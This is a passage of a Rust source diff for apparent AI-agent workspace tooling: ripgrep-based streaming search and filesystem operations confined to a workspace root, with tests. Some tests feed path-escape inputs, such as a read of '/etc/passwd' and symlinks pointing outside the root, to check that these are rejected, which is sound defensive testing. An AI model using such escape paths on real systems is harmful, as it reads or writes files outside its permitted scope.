pub globs: Vec<String>,
|
||||
pub max_files: Option<usize>,
|
||||
pub max_matches: Option<usize>,
|
||||
pub respect_gitignore: bool,
|
||||
}
|
||||
|
||||
/// Batch of results sent during streaming search.
|
||||
#[derive(Debug, Clone, Default)]
|
||||
pub struct ContentSearchBatch {
|
||||
pub files: Vec<ContentMatchFile>,
|
||||
pub total_matches: usize,
|
||||
pub total_files: usize,
|
||||
pub done: bool,
|
||||
pub truncated: bool,
|
||||
}
|
||||
|
||||
const BATCH_INTERVAL_MS: u64 = 50;
|
||||
const DEFAULT_MAX_FILES: usize = 100;
|
||||
const DEFAULT_MAX_MATCHES: usize = 1000;
|
||||
|
||||
fn build_ripgrep_command(root: &Path, params: &ContentSearchParams) -> Command {
|
||||
let rg_path = crate::util::ripgrep::rg_path();
|
||||
|
||||
let mut cmd = Command::new(&rg_path);
|
||||
cmd.current_dir(root);
|
||||
cmd.stdout(Stdio::piped());
|
||||
cmd.stderr(Stdio::null());
|
||||
cmd.stdin(Stdio::null());
|
||||
kigi_tools::util::detach_command(&mut cmd);
|
||||
|
||||
cmd.arg("--json");
|
||||
cmd.arg("--line-number");
|
||||
|
||||
const DEFAULT_EXCLUSIONS: &[&str] = &["!.git/**", "!submodules/**", "!vendor/**"];
|
||||
for glob in DEFAULT_EXCLUSIONS {
|
||||
cmd.arg("--glob").arg(glob);
|
||||
}
|
||||
|
||||
cmd.arg("--max-filesize").arg("1M");
|
||||
cmd.arg("--max-count").arg("50");
|
||||
cmd.arg("--max-columns").arg("500");
|
||||
cmd.arg("--max-columns-preview");
|
||||
|
||||
if params.case_insensitive {
|
||||
cmd.arg("--ignore-case");
|
||||
}
|
||||
if params.literal {
|
||||
cmd.arg("--fixed-strings");
|
||||
}
|
||||
if !params.respect_gitignore {
|
||||
cmd.arg("--no-ignore");
|
||||
}
|
||||
for glob in ¶ms.globs {
|
||||
cmd.arg("--glob").arg(glob);
|
||||
}
|
||||
|
||||
cmd.arg("-e").arg(¶ms.pattern);
|
||||
cmd.arg(".");
|
||||
|
||||
cmd
|
||||
}
|
||||
|
||||
fn extract_match_positions(data: &serde_json::Value) -> (Option<usize>, Option<usize>) {
|
||||
data.get("submatches")
|
||||
.and_then(|s| s.as_array())
|
||||
.and_then(|arr| arr.first())
|
||||
.map(|first| {
|
||||
let start = first
|
||||
.get("start")
|
||||
.and_then(|s| s.as_u64())
|
||||
.map(|s| s as usize);
|
||||
let end = first
|
||||
.get("end")
|
||||
.and_then(|e| e.as_u64())
|
||||
.map(|e| e as usize);
|
||||
(start, end)
|
||||
})
|
||||
.unwrap_or((None, None))
|
||||
}
|
||||
|
||||
fn parse_match_from_json(data: &serde_json::Value) -> Option<ContentMatch> {
|
||||
let line_number = data.get("line_number").and_then(|l| l.as_u64())? as usize;
|
||||
let content = data
|
||||
.get("lines")
|
||||
.and_then(|l| l.get("text"))
|
||||
.and_then(|t| t.as_str())
|
||||
.unwrap_or("")
|
||||
.trim_end_matches('\n')
|
||||
.to_string();
|
||||
let (match_start, match_end) = extract_match_positions(data);
|
||||
|
||||
Some(ContentMatch {
|
||||
line: line_number,
|
||||
content,
|
||||
match_start,
|
||||
match_end,
|
||||
})
|
||||
}
|
||||
|
||||
fn parse_file_path_from_json(root: &Path, json: &serde_json::Value) -> Option<String> {
|
||||
let path = json
|
||||
.get("data")
|
||||
.and_then(|d| d.get("path"))
|
||||
.and_then(|p| p.get("text"))
|
||||
.and_then(|t| t.as_str())?;
|
||||
let normalized = path.strip_prefix("./").unwrap_or(path);
|
||||
if Path::new(normalized).is_absolute() {
|
||||
return Some(normalized.to_string());
|
||||
}
|
||||
Some(root.join(normalized).to_string_lossy().to_string())
|
||||
}
|
||||
|
||||
/// Streaming content search with batched status notifications.
|
||||
/// Set `cancel` to true to abort the search early.
|
||||
pub async fn content_search_streaming<F>(
|
||||
root: &Path,
|
||||
params: &ContentSearchParams,
|
||||
cancel: Arc<AtomicBool>,
|
||||
on_status: F,
|
||||
) -> anyhow::Result<ContentSearchData>
|
||||
where
|
||||
F: Fn(ContentSearchBatch) + Send + 'static,
|
||||
{
|
||||
let max_files = params.max_files.unwrap_or(DEFAULT_MAX_FILES);
|
||||
let max_matches = params.max_matches.unwrap_or(DEFAULT_MAX_MATCHES);
|
||||
|
||||
let mut cmd = build_ripgrep_command(root, params);
|
||||
let mut child = cmd
|
||||
.spawn()
|
||||
.map_err(|e| anyhow::anyhow!("Failed to spawn ripgrep: {}", e))?;
|
||||
|
||||
let stdout = child
|
||||
.stdout
|
||||
.take()
|
||||
.ok_or_else(|| anyhow::anyhow!("Failed to capture ripgrep stdout"))?;
|
||||
|
||||
let mut reader = BufReader::new(stdout).lines();
|
||||
let mut files: Vec<ContentMatchFile> = Vec::new();
|
||||
let mut current_file: Option<ContentMatchFile> = None;
|
||||
let mut total_matches = 0usize;
|
||||
let mut pending_files: Vec<ContentMatchFile> = Vec::new();
|
||||
let mut last_notify = Instant::now();
|
||||
let mut hit_limit = false;
|
||||
|
||||
while let Ok(Some(line)) = reader.next_line().await {
|
||||
if cancel.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
if line.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
let json: serde_json::Value = match serde_json::from_str(&line) {
|
||||
Ok(v) => v,
|
||||
Err(_) => continue,
|
||||
};
|
||||
|
||||
match json.get("type").and_then(|t| t.as_str()) {
|
||||
Some("begin") => {
|
||||
if let Some(file) = current_file.take()
|
||||
&& !file.matches.is_empty()
|
||||
{
|
||||
pending_files.push(file.clone());
|
||||
files.push(file);
|
||||
}
|
||||
if let Some(path) = parse_file_path_from_json(root, &json) {
|
||||
current_file = Some(ContentMatchFile::new(path));
|
||||
}
|
||||
}
|
||||
Some("match") => {
|
||||
if let Some(ref mut file) = current_file
|
||||
&& let Some(data) = json.get("data")
|
||||
&& let Some(m) = parse_match_from_json(data)
|
||||
{
|
||||
file.matches.push(m);
|
||||
total_matches += 1;
|
||||
}
|
||||
}
|
||||
Some("end") => {
|
||||
if let Some(file) = current_file.take()
|
||||
&& !file.matches.is_empty()
|
||||
{
|
||||
pending_files.push(file.clone());
|
||||
files.push(file);
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
|
||||
if files.len() >= max_files || total_matches >= max_matches {
|
||||
hit_limit = true;
|
||||
break;
|
||||
}
|
||||
|
||||
let should_notify = !pending_files.is_empty()
|
||||
&& last_notify.elapsed().as_millis() >= BATCH_INTERVAL_MS as u128;
|
||||
|
||||
if should_notify {
|
||||
on_status(ContentSearchBatch {
|
||||
files: std::mem::take(&mut pending_files),
|
||||
total_matches,
|
||||
total_files: files.len(),
|
||||
done: false,
|
||||
truncated: false,
|
||||
});
|
||||
tokio::task::yield_now().await;
|
||||
last_notify = Instant::now();
|
||||
}
|
||||
}
|
||||
|
||||
let cancelled = cancel.load(Ordering::Relaxed);
|
||||
if hit_limit || cancelled {
|
||||
let _ = child.kill().await;
|
||||
}
|
||||
let _ = child.wait().await;
|
||||
|
||||
if cancelled {
|
||||
let total_files = files.len();
|
||||
return Ok(ContentSearchData {
|
||||
files,
|
||||
total_matches,
|
||||
total_files,
|
||||
truncated: false,
|
||||
});
|
||||
}
|
||||
|
||||
if let Some(file) = current_file
|
||||
&& !file.matches.is_empty()
|
||||
&& files.len() < max_files
|
||||
{
|
||||
pending_files.push(file.clone());
|
||||
files.push(file);
|
||||
}
|
||||
|
||||
let truncated = hit_limit;
|
||||
let total_files = files.len();
|
||||
|
||||
on_status(ContentSearchBatch {
|
||||
files: pending_files,
|
||||
total_matches,
|
||||
total_files,
|
||||
done: true,
|
||||
truncated,
|
||||
});
|
||||
tokio::task::yield_now().await;
|
||||
|
||||
Ok(ContentSearchData {
|
||||
files,
|
||||
total_matches,
|
||||
total_files,
|
||||
truncated,
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,560 @@
|
||||
//! Filesystem extension ops (`workspace.fs_*`) — the server-proxied backing
|
||||
//! for the shell's `x.ai/fs/*` ACP extension methods.
|
||||
//!
|
||||
//! These mirror the pure functions that previously lived only in the
|
||||
//! shell (`kigi-shell/src/session/file_system.rs`) so that, in proxy
|
||||
//! mode, a `x.ai/fs/*` request executes on the *remote* workspace server
|
||||
//! instead of the agent host. Each request type implements
|
||||
//! [`WorkspaceOp`], so it runs in-process for local sessions and routes
|
||||
//! over the server `workspace_rpc` tool for proxy sessions — identical wire
|
||||
//! output either way.
|
||||
//!
|
||||
//! Path resolution: an absolute `path` is used directly; a relative
|
||||
//! `path` is joined onto `cwd` (the per-session cwd the shell resolves
|
||||
//! and sends) or, when absent, the workspace root.
|
||||
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
use async_trait::async_trait;
|
||||
use base64::Engine;
|
||||
use chrono::Utc;
|
||||
|
||||
use crate::error::{WorkspaceError, WorkspaceResult};
|
||||
use crate::handle::WorkspaceHandle;
|
||||
use crate::workspace_ops::WorkspaceOp;
|
||||
|
||||
// Canonical in kigi-workspace-types; re-exported for existing paths.
|
||||
use kigi_workspace_types::rpc::fs::FsReadEncoding;
|
||||
pub use kigi_workspace_types::rpc::fs::{
|
||||
FsDeleteFileReq, FsExistsData, FsExistsReq, FsListData, FsListNode, FsListReq, FsReadFileData,
|
||||
FsReadFileReq, FsWriteFileReq,
|
||||
};
|
||||
|
||||
/// Resolve a request `path` to an absolute path. Absolute paths are used
|
||||
/// directly; relative paths join `cwd` (the shell-resolved per-session
|
||||
/// cwd) or, when absent, the workspace root.
|
||||
fn resolve_abs(
|
||||
path: &str,
|
||||
cwd: &Option<PathBuf>,
|
||||
ws: &WorkspaceHandle,
|
||||
) -> WorkspaceResult<PathBuf> {
|
||||
let p = Path::new(path);
|
||||
if p.is_absolute() {
|
||||
return Ok(p.to_path_buf());
|
||||
}
|
||||
let base = match cwd {
|
||||
Some(c) => c.clone(),
|
||||
None => ws.root_cwd()?,
|
||||
};
|
||||
Ok(base.join(p))
|
||||
}
|
||||
|
||||
#[async_trait]
|
||||
impl WorkspaceOp for FsListReq {
|
||||
async fn execute(
|
||||
&self,
|
||||
ws: &WorkspaceHandle,
|
||||
_session_id: Option<&str>,
|
||||
) -> WorkspaceResult<Self::Response> {
|
||||
let abs_unconfined = resolve_abs(&self.path, &self.cwd, ws)?;
|
||||
let (abs, confine_root) = ws.confine_to_workspace_root(&abs_unconfined).await?;
|
||||
// Off-executor: `list` does synchronous walk + metadata syscalls.
|
||||
let req = self.clone();
|
||||
tokio::task::spawn_blocking(move || list(&abs, &req, confine_root))
|
||||
.await
|
||||
.map_err(|e| WorkspaceError::HubError(e.to_string()))?
|
||||
}
|
||||
}
|
||||
|
||||
#[async_trait]
|
||||
impl WorkspaceOp for FsExistsReq {
|
||||
async fn execute(
|
||||
&self,
|
||||
ws: &WorkspaceHandle,
|
||||
_session_id: Option<&str>,
|
||||
) -> WorkspaceResult<Self::Response> {
|
||||
let abs_unconfined = resolve_abs(&self.path, &self.cwd, ws)?;
|
||||
let (abs, _) = ws.confine_to_workspace_root(&abs_unconfined).await?;
|
||||
let exists = tokio::fs::try_exists(&abs).await.unwrap_or(false);
|
||||
Ok(FsExistsData { exists })
|
||||
}
|
||||
}
|
||||
|
||||
#[async_trait]
|
||||
impl WorkspaceOp for FsReadFileReq {
|
||||
async fn execute(
|
||||
&self,
|
||||
ws: &WorkspaceHandle,
|
||||
_session_id: Option<&str>,
|
||||
) -> WorkspaceResult<Self::Response> {
|
||||
let abs_unconfined = resolve_abs(&self.path, &self.cwd, ws)?;
|
||||
let (abs, _) = ws.confine_to_workspace_root(&abs_unconfined).await?;
|
||||
|
||||
// Legacy full-file read path: preserves the pre-range wire output
|
||||
// (auto utf8/base64 detect, MIME `type`, `lineCount`).
|
||||
let ranged = self.offset.is_some()
|
||||
|| self.length.is_some()
|
||||
|| self.encoding == FsReadEncoding::Base64;
|
||||
if !ranged {
|
||||
let bytes = tokio::fs::read(&abs)
|
||||
.await
|
||||
.map_err(|e| WorkspaceError::HubError(e.to_string()))?;
|
||||
return Ok(build_file_entry(&bytes));
|
||||
}
|
||||
|
||||
// Binary-safe ranged read: `size` is the full file size, the
|
||||
// chunk is `[offset, offset + min(length, max_bytes, cap))`.
|
||||
let md = tokio::fs::metadata(&abs)
|
||||
.await
|
||||
.map_err(|e| WorkspaceError::HubError(e.to_string()))?;
|
||||
if md.is_dir() {
|
||||
return Err(WorkspaceError::HubError(format!(
|
||||
"not a file: {}",
|
||||
self.path
|
||||
)));
|
||||
}
|
||||
// Best-effort snapshot: a concurrent truncate/grow between here and
|
||||
// read_range can make `size` inconsistent with the returned chunk.
|
||||
let size = md.len();
|
||||
let offset = self.offset.unwrap_or(0);
|
||||
let length = super::walk::clamp_read_length(self.length, self.max_bytes);
|
||||
let chunk = super::walk::read_range(&abs, offset, length)
|
||||
.await
|
||||
.map_err(|e| WorkspaceError::HubError(e.to_string()))?;
|
||||
Ok(build_ranged_entry(chunk, size, self.encoding))
|
||||
}
|
||||
}
|
||||
|
||||
#[async_trait]
|
||||
impl WorkspaceOp for FsWriteFileReq {
|
||||
async fn execute(
|
||||
&self,
|
||||
ws: &WorkspaceHandle,
|
||||
_session_id: Option<&str>,
|
||||
) -> WorkspaceResult<Self::Response> {
|
||||
let abs_unconfined = resolve_abs(&self.path, &self.cwd, ws)?;
|
||||
let (abs, _) = ws.confine_to_workspace_root(&abs_unconfined).await?;
|
||||
let content = self.content.clone();
|
||||
let create_dirs = self.create_dirs;
|
||||
tokio::task::spawn_blocking(move || -> std::io::Result<()> {
|
||||
if create_dirs && let Some(parent) = abs.parent() {
|
||||
std::fs::create_dir_all(parent)?;
|
||||
}
|
||||
std::fs::write(&abs, content.as_bytes())
|
||||
})
|
||||
.await
|
||||
.map_err(|e| WorkspaceError::HubError(e.to_string()))?
|
||||
.map_err(|e| WorkspaceError::HubError(e.to_string()))?;
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
#[async_trait]
|
||||
impl WorkspaceOp for FsDeleteFileReq {
|
||||
async fn execute(
|
||||
&self,
|
||||
ws: &WorkspaceHandle,
|
||||
_session_id: Option<&str>,
|
||||
) -> WorkspaceResult<Self::Response> {
|
||||
let abs_unconfined = resolve_abs(&self.path, &self.cwd, ws)?;
|
||||
let (abs, _) = ws.confine_to_workspace_root(&abs_unconfined).await?;
|
||||
tokio::fs::remove_file(&abs)
|
||||
.await
|
||||
.map_err(|e| WorkspaceError::HubError(e.to_string()))?;
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Pure helpers — ported verbatim from the shell so output is identical.
|
||||
// =========================================================================
|
||||
|
||||
fn list(
|
||||
abs_path: &Path,
|
||||
req: &FsListReq,
|
||||
confine_to_canonical_root: Option<PathBuf>,
|
||||
) -> WorkspaceResult<FsListData> {
|
||||
// Confined to the canonical root when set (escaping symlinks not enumerated);
|
||||
// `None` (the default) walks unconfined.
|
||||
let page = super::walk::list_directory_paged(
|
||||
abs_path,
|
||||
super::walk::ListOptions {
|
||||
depth: req.depth,
|
||||
follow_symlinks: req.follow_symlinks,
|
||||
respect_git_ignore: req.respect_git_ignore,
|
||||
include_hidden: req.include_hidden,
|
||||
include_globs: &req.include_globs,
|
||||
exclude_globs: &req.exclude_globs,
|
||||
offset: req.offset,
|
||||
limit: req.limit,
|
||||
confine_to_canonical_root,
|
||||
},
|
||||
super::walk::MAX_LIST_COLLECT,
|
||||
);
|
||||
|
||||
let nodes: Vec<FsListNode> = page
|
||||
.entries
|
||||
.into_iter()
|
||||
.map(|e| FsListNode {
|
||||
node_type: if e.is_dir { "directory" } else { "file" }.to_string(),
|
||||
size: e.size,
|
||||
modified_at: e.modified.map(|st| {
|
||||
let dt: chrono::DateTime<Utc> = st.into();
|
||||
dt.to_rfc3339()
|
||||
}),
|
||||
is_symlink: e.is_symlink.then_some(true),
|
||||
path: e.abs_path.to_string_lossy().into_owned(),
|
||||
name: e.name,
|
||||
})
|
||||
.collect();
|
||||
|
||||
Ok(FsListData {
|
||||
nodes,
|
||||
truncated: page.truncated,
|
||||
})
|
||||
}
|
||||
|
||||
/// Map a binary-safe ranged chunk to the shell-facing `FsReadFileData`.
|
||||
/// `size` is the full file size; `lineCount` is omitted for ranged reads
|
||||
/// and the MIME `type` is a coarse text/binary tag (mid-file chunks make
|
||||
/// magic-byte sniffing meaningless).
|
||||
fn build_ranged_entry(chunk: Vec<u8>, size: u64, encoding: FsReadEncoding) -> FsReadFileData {
|
||||
let (payload, is_text) = super::walk::encode_chunk(chunk, encoding);
|
||||
let (content, content_base64) = match payload {
|
||||
super::walk::ChunkPayload::Text(t) => (t, None),
|
||||
super::walk::ChunkPayload::Base64(b) => (String::new(), Some(b)),
|
||||
};
|
||||
FsReadFileData {
|
||||
content,
|
||||
content_base64,
|
||||
size,
|
||||
line_count: None,
|
||||
content_type: if is_text {
|
||||
"text/plain".to_string()
|
||||
} else {
|
||||
"application/octet-stream".to_string()
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
fn build_file_entry(bytes: &[u8]) -> FsReadFileData {
|
||||
let size = bytes.len() as u64;
|
||||
let inferred = infer::get(bytes).map(|t| t.mime_type().to_string());
|
||||
match String::from_utf8(bytes.to_vec()) {
|
||||
Ok(text) => FsReadFileData {
|
||||
line_count: Some(text.lines().count() as u64),
|
||||
content: text,
|
||||
content_base64: None,
|
||||
size,
|
||||
content_type: inferred.unwrap_or_else(|| "text/plain".to_string()),
|
||||
},
|
||||
Err(_) => FsReadFileData {
|
||||
content: String::new(),
|
||||
content_base64: Some(base64::engine::general_purpose::STANDARD.encode(bytes)),
|
||||
size,
|
||||
line_count: None,
|
||||
content_type: inferred.unwrap_or_else(|| "application/octet-stream".to_string()),
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Tests for the pure helpers (no `WorkspaceHandle` required).
|
||||
// =========================================================================
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
/// Build an `FsListReq` for a temp dir test. `path`/`cwd` are unused by
|
||||
/// `list` (it takes the resolved abs path directly); `respect_git_ignore`
|
||||
/// is off so the temp dir's location can't filter out our fixtures.
|
||||
fn list_req(limit: usize) -> FsListReq {
|
||||
FsListReq {
|
||||
path: String::new(),
|
||||
cwd: None,
|
||||
depth: 1,
|
||||
limit,
|
||||
offset: 0,
|
||||
include_hidden: true,
|
||||
follow_symlinks: true,
|
||||
respect_git_ignore: false,
|
||||
include_globs: Vec::new(),
|
||||
exclude_globs: Vec::new(),
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn build_file_entry_utf8_sets_content_and_line_count() {
|
||||
let bytes = b"line one\nline two\n";
|
||||
let entry = build_file_entry(bytes);
|
||||
assert_eq!(entry.content, "line one\nline two\n");
|
||||
assert!(entry.content_base64.is_none());
|
||||
assert_eq!(entry.line_count, Some(2));
|
||||
assert_eq!(entry.size, bytes.len() as u64);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn build_file_entry_invalid_utf8_uses_base64() {
|
||||
let bytes: &[u8] = &[0xff, 0xfe, 0x00];
|
||||
let entry = build_file_entry(bytes);
|
||||
assert!(entry.content.is_empty());
|
||||
assert_eq!(
|
||||
entry.content_base64,
|
||||
Some(base64::engine::general_purpose::STANDARD.encode(bytes)),
|
||||
);
|
||||
assert!(entry.line_count.is_none());
|
||||
assert_eq!(entry.size, bytes.len() as u64);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn list_enumerates_nodes_without_truncation() {
|
||||
let dir = tempfile::tempdir().expect("tempdir");
|
||||
let root = dir.path();
|
||||
std::fs::write(root.join("a.txt"), b"a").expect("write a");
|
||||
std::fs::write(root.join("b.txt"), b"bb").expect("write b");
|
||||
std::fs::create_dir(root.join("sub")).expect("mkdir sub");
|
||||
|
||||
let data = list(root, &list_req(1000), Some(root.to_path_buf())).expect("list");
|
||||
|
||||
let names: Vec<&str> = data.nodes.iter().map(|n| n.name.as_str()).collect();
|
||||
assert_eq!(data.nodes.len(), 3, "names: {names:?}");
|
||||
assert!(names.contains(&"a.txt"));
|
||||
assert!(names.contains(&"b.txt"));
|
||||
assert!(names.contains(&"sub"));
|
||||
assert!(!data.truncated);
|
||||
// Directories sort ahead of files.
|
||||
assert_eq!(data.nodes[0].name, "sub");
|
||||
assert_eq!(data.nodes[0].node_type, "directory");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn list_marks_truncated_when_limit_reached() {
|
||||
let dir = tempfile::tempdir().expect("tempdir");
|
||||
let root = dir.path();
|
||||
std::fs::write(root.join("a.txt"), b"a").expect("write a");
|
||||
std::fs::write(root.join("b.txt"), b"bb").expect("write b");
|
||||
std::fs::create_dir(root.join("sub")).expect("mkdir sub");
|
||||
|
||||
let data = list(root, &list_req(1), Some(root.to_path_buf())).expect("list");
|
||||
assert_eq!(data.nodes.len(), 1);
|
||||
assert!(data.truncated);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn list_paginates_with_offset() {
|
||||
let dir = tempfile::tempdir().expect("tempdir");
|
||||
let root = dir.path();
|
||||
for n in ["a.txt", "b.txt", "c.txt", "d.txt"] {
|
||||
std::fs::write(root.join(n), b"x").expect("write");
|
||||
}
|
||||
let names = |d: FsListData| d.nodes.into_iter().map(|n| n.name).collect::<Vec<_>>();
|
||||
|
||||
let mut req = list_req(2);
|
||||
let p0 = list(root, &req, Some(root.to_path_buf())).expect("list");
|
||||
assert!(p0.truncated);
|
||||
assert_eq!(names(p0), vec!["a.txt", "b.txt"]);
|
||||
|
||||
req.offset = 2;
|
||||
let p1 = list(root, &req, Some(root.to_path_buf())).expect("list");
|
||||
assert!(!p1.truncated, "last page is not truncated");
|
||||
assert_eq!(names(p1), vec!["c.txt", "d.txt"]);
|
||||
|
||||
// Offset past the end yields an empty, non-truncated page.
|
||||
req.offset = 10;
|
||||
let p2 = list(root, &req, Some(root.to_path_buf())).expect("list");
|
||||
assert!(!p2.truncated);
|
||||
assert!(p2.nodes.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn build_ranged_entry_encodes_utf8_and_binary() {
|
||||
// UTF-8 chunk under the default encoding → `content`, text/plain,
|
||||
// full `size` echoed, no line count.
|
||||
let e = build_ranged_entry(b"hello".to_vec(), 100, FsReadEncoding::Utf8);
|
||||
assert_eq!(e.content, "hello");
|
||||
assert!(e.content_base64.is_none());
|
||||
assert_eq!(e.size, 100);
|
||||
assert!(e.line_count.is_none());
|
||||
assert_eq!(e.content_type, "text/plain");
|
||||
|
||||
// Explicit base64 of valid UTF-8 stays text/plain but travels in
|
||||
// `contentBase64`.
|
||||
let e = build_ranged_entry(b"hi".to_vec(), 2, FsReadEncoding::Base64);
|
||||
assert!(e.content.is_empty());
|
||||
assert_eq!(
|
||||
e.content_base64,
|
||||
Some(base64::engine::general_purpose::STANDARD.encode(b"hi")),
|
||||
);
|
||||
assert_eq!(e.content_type, "text/plain");
|
||||
|
||||
// Non-UTF-8 bytes fall back to base64 + octet-stream.
|
||||
let raw = vec![0xff_u8, 0x00, 0xfe];
|
||||
let e = build_ranged_entry(raw.clone(), 3, FsReadEncoding::Utf8);
|
||||
assert!(e.content.is_empty());
|
||||
assert_eq!(
|
||||
e.content_base64,
|
||||
Some(base64::engine::general_purpose::STANDARD.encode(&raw)),
|
||||
);
|
||||
assert_eq!(e.content_type, "application/octet-stream");
|
||||
}
|
||||
|
||||
// Confinement (WorkspaceOp::execute) — covers both local and proxy dispatch.
|
||||
|
||||
#[tokio::test]
|
||||
async fn read_write_within_root_ok() {
|
||||
let ws = crate::handle::tests::make_confining_handle();
|
||||
let root = ws.root_cwd().unwrap();
|
||||
FsWriteFileReq {
|
||||
path: "sub/data.txt".into(),
|
||||
cwd: Some(root.clone()),
|
||||
content: "hello".into(),
|
||||
create_dirs: true,
|
||||
}
|
||||
.execute(&ws, None)
|
||||
.await
|
||||
.expect("in-root write must succeed");
|
||||
let data = FsReadFileReq {
|
||||
path: "sub/data.txt".into(),
|
||||
cwd: Some(root.clone()),
|
||||
offset: None,
|
||||
length: None,
|
||||
max_bytes: 1 << 20,
|
||||
encoding: FsReadEncoding::Utf8,
|
||||
}
|
||||
.execute(&ws, None)
|
||||
.await
|
||||
.expect("in-root read must succeed");
|
||||
assert_eq!(data.content, "hello");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn read_file_rejects_absolute_escape() {
|
||||
let ws = crate::handle::tests::make_confining_handle();
|
||||
let err = FsReadFileReq {
|
||||
path: "/etc/passwd".into(),
|
||||
cwd: None,
|
||||
offset: None,
|
||||
length: None,
|
||||
max_bytes: 1 << 20,
|
||||
encoding: FsReadEncoding::Utf8,
|
||||
}
|
||||
.execute(&ws, None)
|
||||
.await
|
||||
.expect_err("absolute escape must be rejected");
|
||||
assert!(
|
||||
err.to_string().contains("workspace root"),
|
||||
"unexpected error: {err}"
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
#[cfg(unix)]
|
||||
async fn read_file_rejects_symlink_escape() {
|
||||
use std::os::unix::fs::symlink;
|
||||
let ws = crate::handle::tests::make_confining_handle();
|
||||
let root = ws.root_cwd().unwrap();
|
||||
let outside = tempfile::tempdir().unwrap();
|
||||
std::fs::write(outside.path().join("secret.txt"), b"secret").unwrap();
|
||||
symlink(outside.path(), root.join("escape_link")).unwrap();
|
||||
|
||||
let err = FsReadFileReq {
|
||||
path: "escape_link/secret.txt".into(),
|
||||
cwd: Some(root.clone()),
|
||||
offset: None,
|
||||
length: None,
|
||||
max_bytes: 1 << 20,
|
||||
encoding: FsReadEncoding::Utf8,
|
||||
}
|
||||
.execute(&ws, None)
|
||||
.await
|
||||
.expect_err("symlink escape must be rejected");
|
||||
assert!(
|
||||
err.to_string().contains("workspace root"),
|
||||
"unexpected error: {err}"
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
#[cfg(unix)]
|
||||
async fn write_file_rejects_symlink_escape() {
|
||||
use std::os::unix::fs::symlink;
|
||||
let ws = crate::handle::tests::make_confining_handle();
|
||||
let root = ws.root_cwd().unwrap();
|
||||
let outside = tempfile::tempdir().unwrap();
|
||||
symlink(outside.path(), root.join("escape_link")).unwrap();
|
||||
|
||||
let err = FsWriteFileReq {
|
||||
path: "escape_link/injected.txt".into(),
|
||||
cwd: Some(root.clone()),
|
||||
content: "x".into(),
|
||||
create_dirs: true,
|
||||
}
|
||||
.execute(&ws, None)
|
||||
.await
|
||||
.expect_err("symlink escape write must be rejected");
|
||||
assert!(
|
||||
err.to_string().contains("workspace root"),
|
||||
"unexpected error: {err}"
|
||||
);
|
||||
assert!(
|
||||
!outside.path().join("injected.txt").exists(),
|
||||
"write must not land outside the workspace root"
|
||||
);
|
||||
}
|
||||
|
||||
// A *dangling* in-root symlink (target outside root, not yet created) must
|
||||
// not let a write escape via `open(O_CREAT)` following the link.
|
||||
#[tokio::test]
|
||||
#[cfg(unix)]
|
||||
async fn write_file_rejects_dangling_symlink_escape() {
|
||||
use std::os::unix::fs::symlink;
|
||||
let ws = crate::handle::tests::make_confining_handle();
|
||||
let root = ws.root_cwd().unwrap();
|
||||
let outside = tempfile::tempdir().unwrap();
|
||||
let target = outside.path().join("new.txt");
|
||||
symlink(&target, root.join("lnk")).unwrap();
|
||||
|
||||
let err = FsWriteFileReq {
|
||||
path: "lnk".into(),
|
||||
cwd: Some(root.clone()),
|
||||
content: "x".into(),
|
||||
create_dirs: true,
|
||||
}
|
||||
.execute(&ws, None)
|
||||
.await
|
||||
.expect_err("dangling symlink escape write must be rejected");
|
||||
assert!(
|
||||
err.to_string().contains("workspace root"),
|
||||
"unexpected error: {err}"
|
||||
);
|
||||
assert!(
|
||||
!target.exists(),
|
||||
"write must not create the file outside root"
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
#[cfg(unix)]
|
||||
async fn list_excludes_symlink_escape() {
|
||||
use std::os::unix::fs::symlink;
|
||||
let ws = crate::handle::tests::make_confining_handle();
|
||||
let root = ws.root_cwd().unwrap();
|
||||
let outside = tempfile::tempdir().unwrap();
|
||||
std::fs::write(outside.path().join("secret.txt"), b"x").unwrap();
|
||||
symlink(outside.path(), root.join("escape_link")).unwrap();
|
||||
std::fs::write(root.join("inside.txt"), b"y").unwrap();
|
||||
|
||||
let mut req = list_req(1000);
|
||||
req.path = ".".into();
|
||||
req.cwd = Some(root.clone());
|
||||
req.depth = 2;
|
||||
let data = req.execute(&ws, None).await.expect("list must succeed");
|
||||
let names: Vec<&str> = data.nodes.iter().map(|n| n.name.as_str()).collect();
|
||||
assert!(names.contains(&"inside.txt"), "in-root file: {names:?}");
|
||||
assert!(
|
||||
!data.nodes.iter().any(|n| n.path.contains("secret.txt")),
|
||||
"escaping symlink target must not be enumerated: {names:?}"
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,526 @@
|
||||
//! Generates the file-tree based on how we are using it during training
|
||||
//! This gives the model an overview of the project and helps it navigate and understand
|
||||
//! the repository better, cold-starting the exploration
|
||||
|
||||
use std::collections::{HashMap, VecDeque};
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::time::Instant;
|
||||
|
||||
use dashmap::DashMap;
|
||||
use ignore::{WalkBuilder, WalkState};
|
||||
|
||||
use crate::file_system::FsError;
|
||||
|
||||
/// Number of threads for parallel directory walking
|
||||
const NUM_WALK_THREADS: usize = 8;
|
||||
|
||||
/// Configuration for limiting file tree traversal to prevent runaway I/O
|
||||
/// on very large or deeply nested directories.
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
pub struct ListContentsLimits {
|
||||
/// Maximum number of characters in the output
|
||||
